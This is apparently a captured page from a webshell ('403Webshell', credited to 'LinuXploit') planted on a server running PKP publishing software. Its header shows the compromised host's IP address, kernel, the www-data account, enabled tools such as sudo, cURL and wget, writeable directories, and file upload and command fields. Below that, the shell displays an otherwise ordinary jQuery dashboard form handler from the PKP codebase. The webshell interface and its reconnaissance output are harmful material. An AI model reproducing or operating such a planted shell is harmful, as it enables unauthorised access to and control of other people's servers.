403Webshell
Server IP : 195.134.90.114  /  Your IP : 216.73.216.105
Web Server : Apache/2.4.58
System : Linux nepub 6.8.0-88-generic #89-Ubuntu SMP PREEMPT_DYNAMIC Sat Oct 11 01:02:46 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : OFF
Directory :  /var/www/html/public_html/lib/pkp/js/controllers/dashboard/form/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /var/www/html/public_html/lib/pkp/js/controllers/dashboard/form/DashboardTaskFormHandler.js
/**
 * @defgroup js_controllers_dashboard_form
 */
/**
 * @file js/controllers/dashboard/form/DashboardTaskFormHandler.js
 *
 * Copyright (c) 2014-2021 Simon Fraser University
 * Copyright (c) 2000-2021 John Willinsky
 * Distributed under the GNU GPL v3. For full terms see the file docs/COPYING.
 *
 * @class DashboardTaskFormHandler
 * @ingroup js_controllers_dashboard_form
 *
 * @brief Handle the styling and actions on the 'start new submission' form
 *  on the Task tab in the dashboard.
 */
(function($) {

	/** @type {Object} */
	$.pkp.controllers.dashboard =
			$.pkp.controllers.dashboard || {form: { } };



	/**
	 * @constructor
	 *
	 * @extends $.pkp.controllers.form.FormHandler
	 *
	 * @param {jQueryObject} $form the wrapped HTML form element.
	 * @param {Object} options form options.
	 */
	$.pkp.controllers.dashboard.form.DashboardTaskFormHandler =
			function($form, options) {

		this.parent($form, options);
		this.singleContextSubmissionUrl_ = options.singleContextSubmissionUrl;

		$('#singleContext', $form).click(
				this.callbackWrapper(this.startSingleContextSubmission_));

		$('#multipleContext', $form).change(
				this.callbackWrapper(this.startMultipleContextSubmission_));
	};
	$.pkp.classes.Helper.inherits(
			$.pkp.controllers.dashboard.form.DashboardTaskFormHandler,
			$.pkp.controllers.form.FormHandler);


	//
	// Private properties
	//
	/**
	 * The URL to be called to fetch a spotlight item via autocomplete.
	 * @private
	 * @type {string?}
	 */
	$.pkp.controllers.dashboard.form.DashboardTaskFormHandler.
			prototype.singleContextSubmissionUrl_ = null;


	//
	// Private Methods
	//
	/**
	 * Redirect to the wizard for single context submissions
	 * @private
	 */
	$.pkp.controllers.dashboard.form.DashboardTaskFormHandler.
			prototype.startSingleContextSubmission_ = function() {

		window.location.href =
				/** @type {string} */ (this.singleContextSubmissionUrl_);
	};


	/**
	 * Redirect to the wizard for multiple context submissions
	 * @private
	 */
	$.pkp.controllers.dashboard.form.DashboardTaskFormHandler.
			prototype.startMultipleContextSubmission_ = function() {

		var $form = this.getHtmlElement(),
				url = $form.find('#multipleContext').val();

		if (url != 0) { // not the default
			window.location.href = /** @type {string} */ (url);
		}
	};


}(jQuery));

Youez - 2016 - github.com/yon3zu
LinuXploit